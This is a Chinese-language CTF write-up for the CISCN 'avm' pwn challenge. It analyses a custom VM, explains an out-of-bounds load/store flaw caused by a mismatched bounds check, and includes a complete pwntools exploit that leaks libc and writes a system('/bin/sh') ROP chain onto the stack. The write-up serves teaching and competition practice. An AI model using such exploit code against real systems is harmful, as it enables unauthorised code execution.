CCBCISCN初赛avm
逆向分析
逆向出来的结构体如图所示,结构还比较清楚,这里vm实现的是32个寄存器
main函数
vmRun函数,根据code来处理,然后执行func_list中的函数
实现的vm指令如下图所示,这里的add,sub,mul,div,xor,and,shr,shl这些都没有什么问题,漏洞出在load和store指令
漏洞分析
store指令
load指令
- 主要漏洞在于store和load指令检查时只检查a1->reg[(v3 » 5) & 0x1F] + BYTE2(v3),执行指令时却是a1->reg[(v3 » 5) & 0x1F] + (HIWORD(v3) & 0xFFF) + a2,所以可以越界读写虚拟机的缓冲区s。于是可以通过load栈上残留获取libc地址,再经过计算构造rop链,通过store越界写到栈上返回地址处。
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x1A8F7)')
# p=remote('47.94.206.103',30756)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
gdb.attach(p,'b *$rebase(0x1A68)')
pause()
#flag{d8523209-6c45-4350-b174-baf2149c9486}
pay=b''
def add(dst,src1,src2):
global pay
tmp=''
tmp+=bin(1)[2:].zfill(4)+bin(src2)[2:].zfill(12)+'0'*6+bin(src1)[2:].zfill(5)+bin(dst)[2:].zfill(5)
tmp=int(tmp,2)
pay+=p32(tmp)
def sub(dst,src1,src2):
global pay
tmp=''
tmp+=bin(2)[2:].zfill(4)+bin(src2)[2:].zfill(12)+'0'*6+bin(src1)[2:].zfill(5)+bin(dst)[2:].zfill(5)
tmp=int(tmp,2)
pay+=p32(tmp)
def shl(dst,src1,src2):
global pay
tmp=''
tmp+=bin(7)[2:].zfill(4)+bin(src2)[2:].zfill(12)+'0'*6+bin(src1)[2:].zfill(5)+bin(dst)[2:].zfill(5)
tmp=int(tmp,2)
pay+=p32(tmp)
def shr(dst,src1,src2):
global pay
tmp=''
tmp+=bin(8)[2:].zfill(4)+bin(src2)[2:].zfill(12)+'0'*6+bin(src1)[2:].zfill(5)+bin(dst)[2:].zfill(5)
tmp=int(tmp,2)
pay+=p32(tmp)
def load(dst,src1,src2):
global pay
tmp=''
tmp+=bin(10)[2:].zfill(4)+bin(src2)[2:].zfill(12)+'0'*6+bin(src1)[2:].zfill(5)+bin(dst)[2:].zfill(5)
tmp=int(tmp,2)
pay+=p32(tmp)
def store(dst,src1,src2):
global pay
tmp=''
tmp+=bin(9)[2:].zfill(4)+bin(src2)[2:].zfill(12)+'0'*6+bin(src1)[2:].zfill(5)+bin(dst)[2:].zfill(5)
tmp=int(tmp,2)
pay+=p32(tmp)
def quit(dst,src1,src2):
global pay
tmp=''
tmp+=bin(11)[2:].zfill(4)+bin(src2)[2:].zfill(12)+'0'*6+bin(src1)[2:].zfill(5)+bin(dst)[2:].zfill(5)
tmp=int(tmp,2)
pay+=p32(tmp)
def func(value,reg):
off=format(value, '032b')
for i in range(len(off)):
if(i==(len(off)-1)):
if(off[i]=='0'):
pass
elif(off[i]=='1'):
add(reg,reg,13)
break
if(off[i]=='0'):
shl(reg,reg,13)
elif(off[i]=='1'):
add(reg,reg,13)
shl(reg,reg,13)
load(12,0,0xdd8) #reg[12]=libc+off
load(13,0,0x0003d8) #reg[13]=1
# dbg()
func(0x029e40,14)
sub(12,12,14) #reg[12]=libcbase
add(15,12,15)
add(16,12,16)
add(17,12,17)
add(18,12,18)
add(19,12,19)
#pop_rdi
func(0x2a745,25)
add(15,15,25)
#binsh
bin_addr = 0x1D8678
func(bin_addr,26)
add(16,16,26)
# #ret
# func(0x29139,27)
# add(17,17,27)
#system
system_addr = 0x50D70
func(system_addr,28)
add(18,18,28)
store(15,31,0x118)
store(16,31,0x118+8)
store(18,31,0x118+0x18)
# dbg()
quit(0,0,0)
pay+=p32(1)
pay=pay.ljust(0x300,b'\x00')
p.sendafter('opcode',pay)
p.interactive()
由于没有自增,而且本地和远程偏移不同,寄存器初始值都是0, 获取数字1比较困难。最后通过在opcode中自己加入一个1的方式获取,这样的偏移肯定是固定的。
而libc地址的偏移也很奇怪,我试了多个本地能通过的偏移,远程都不行。最后获取栈上最远处的__libc_start_main中的返回地址,终于打通了远程。(要记住千万不要用栈上的ld偏移,本地能通的远程基本都不行,最好是用libc附近的值不要用ld附近的值)
最后打通